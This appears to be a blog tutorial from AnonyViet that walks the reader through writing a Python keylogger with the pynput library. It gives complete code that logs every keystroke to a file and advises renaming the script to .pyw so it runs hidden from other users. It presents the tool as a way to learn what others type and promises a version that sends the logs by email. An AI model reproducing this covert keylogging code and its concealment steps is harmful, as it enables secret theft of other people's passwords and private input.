Today I will guide you to write extremely simple Keylogger Code in Python. Currently, Python applications are popular, especially the Ministry of Education has included Python in the secondary school curriculum. Therefore, it is never too early to study Python now. Python is famous because the code is quite easy and there are many libraries available. One of them is the pynput library that helps you record keyboard and mouse logs, thereby creating a simple keylogger.
| Join the channel Telegram belong to AnonyViet 👉 Link 👈 |
The simplest way to create KeyLogger in Python
A keylogger is a type of monitoring software designed to record a user’s keystrokes. One of the oldest forms of cyber security threats, this keystroke logging feature records the information you enter any character on the keyboard, the Keylogger will record it and save it to a file that will then be sent to the Hacker. So if a Keylogger is installed on the victim’s computer, hackers can easily steal your account and password.
With just 7 python commands, you can easily create a simple Keylog for yourself.
First you need Download and install Python 3.x (currently Python 3.9). When installing, remember to select the function Add Python 3.x to Path on the first screen during installation.
Open CMD with Administrator rights and type the command:
pip install pynput
Next, open notepad, copy the keylogger code below and save it as keylog.py file
from pynput.keyboard import Listener
def evnt_key_press(key):
f = open('key.txt','a')
f.write(str(key).replace("'",'') + "\n" )
f.close()
obj = Listener(on_press=evnt_key_press)
obj.start()
obj.join()
That’s it, now open CMD with Administrator rights and type the command
cd C:\
python keylog.py
Now the file will appear on drive C key.txtthis file will store the characters you typed on the keyboard. Each letter is in a row, please take the time to combine the letters.
Now just activate the file keylog.pyyou will know what other people have typed on your computer, helping you control your computer more easily.
In case you do not want to display the CMD window when activating Keylog, rename the file keylog.py wall keylog.pyw
Now you can turn off the CMD window okay, the keylog will work in the background without ordinary people even knowing about it.
If you want to turn off Keylog, then turn it on Task Manager (Ctrl + Shift + Esc) Go up and find the named Process Python -> End task
So AnonyViet has shown you the simplest way to write a Keylogger in Python. As for advanced features such as sending to email, taking screenshots… I will talk about them in the next article.
Update September 29, 2021: You can refer to the Python Keylogger Code by email at Github AnonyViet.
Frequently asked questions
What is a keylogger and how does it work?
Keylogger is software that records a user’s keystrokes. It works by recording every character entered and storing them in a file.
What settings do I need to run this keylogger code?
You need to install Python 3.x and the pynput library. You can install pynput using command pip install pynput in command prompt.
How to stop keylogger activity?
To stop the keylogger, you need to open Task Manager (Ctrl + Shift + Esc), find and end the Python process.











